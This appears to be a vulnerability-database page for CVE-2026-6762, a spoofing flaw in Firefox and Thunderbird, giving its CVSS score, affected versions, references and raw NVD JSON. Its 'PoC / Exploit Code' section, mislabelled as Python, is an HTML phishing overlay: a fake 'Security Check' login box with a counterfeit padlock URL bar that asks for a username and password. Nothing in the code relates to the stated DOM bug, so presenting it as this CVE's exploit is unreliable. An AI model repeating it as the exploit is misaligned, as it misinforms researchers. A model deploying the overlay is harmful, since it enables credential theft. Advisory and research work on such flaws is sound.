CVE-2026-6762

Description

Spoofing issue in the DOM: Core & HTML component. This vulnerability was fixed in Firefox 150, Firefox ESR 115.35, Firefox ESR 140.10, Thunderbird 150, and Thunderbird 140.10.

CVSS Details

CVSS Score

6.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:* - VULNERABLE

cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE

cpe:2.3:a:mozilla:thunderbird:*:*:*:*:esr:*:*:* - VULNERABLE

Firefox < 150

Firefox ESR 115.x < 115.35

Firefox ESR 140.x < 140.10

Thunderbird < 150

Thunderbird 140.x < 140.10

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for UI Spoofing -->
<!-- This PoC demonstrates how an attacker might overlay a fake UI element -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>DOM Spoofing PoC</title>
<style>
    /* Styles to create a deceptive overlay */
    body { font-family: sans-serif; margin: 0; }
    .legitimate-content { padding: 20px; }
    .spoof-container {
        position: fixed;
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        background-color: rgba(255, 255, 255, 0.95);
        z-index: 9999;
        display: flex;
        flex-direction: column;
        justify-content: center;
        align-items: center;
    }
    .fake-dialog {
        border: 2px solid #0052cc;
        padding: 20px;
        width: 350px;
        box-shadow: 0 4px 10px rgba(0,0,0,0.2);
        text-align: center;
    }
    .fake-url-bar {
        background-color: #f1f3f4;
        border: 1px solid #dfe1e5;
        padding: 8px;
        margin-bottom: 15px;
        border-radius: 15px;
        color: #5f6368;
        font-size: 14px;
        text-align: left;
    }
    .lock-icon { margin-right: 5px; }
    button { background-color: #0052cc; color: white; border: none; padding: 10px 20px; border-radius: 4px; cursor: pointer; }
</style>
</head>
<body>

<div class="legitimate-content">
    <h1>Welcome to Your Bank</h1>
    <p>Please wait while we verify your session...</p>
</div>

<!-- The spoofing overlay that appears on top -->
<div class="spoof-container">
    <div class="fake-dialog">
        <div class="fake-url-bar">
            <span class="lock-icon">🔒</span> https://www.trusted-site.com/login
        </div>
        <h2>Security Check</h2>
        <p>Your session has expired. Please re-enter your credentials.</p>
        <input type="text" placeholder="Username" style="width: 90%; margin-bottom: 10px; padding: 8px;"><br>
        <input type="password" placeholder="Password" style="width: 90%; margin-bottom: 10px; padding: 8px;"><br>
        <button onclick="alert('Spoofed: User clicked login')">Login</button>
    </div>
</div>

</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6762
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6762
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6762/
[4] VulDB https://vuldb.com/cve/CVE-2026-6762
[5] https://bugzilla.mozilla.org/show_bug.cgi?id=2021080
[6] https://www.mozilla.org/security/advisories/mfsa2026-30/
[7] https://www.mozilla.org/security/advisories/mfsa2026-31/
[8] https://www.mozilla.org/security/advisories/mfsa2026-32/
[9] https://www.mozilla.org/security/advisories/mfsa2026-33/
[10] https://www.mozilla.org/security/advisories/mfsa2026-34/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6762", "sourceIdentifier": "[email protected]", "published": "2026-04-21T13:16:22.137", "lastModified": "2026-04-22T17:38:29.797", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Spoofing issue in the DOM: Core & HTML component. This vulnerability was fixed in Firefox 150, Firefox ESR 115.35, Firefox ESR 140.10, Thunderbird 150, and Thunderbird 140.10."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-290"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.10.0", "matchCriteriaId": "15AF037C-5C86-48EB-B1DE-3AC100A34596"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "150.0", "matchCriteriaId": "67B01D49-66FA-4C76-9EB4-2B8CD61FBEB2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:esr:*:*:*", "versionStartIncluding": "140.0", "versionEndExcluding": "140.10.0", "matchCriteriaId": "6A8A3284-C06C-4591-9548-5324BD91C4FC"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2021080", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-30/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-31/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-32/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-33/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-34/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}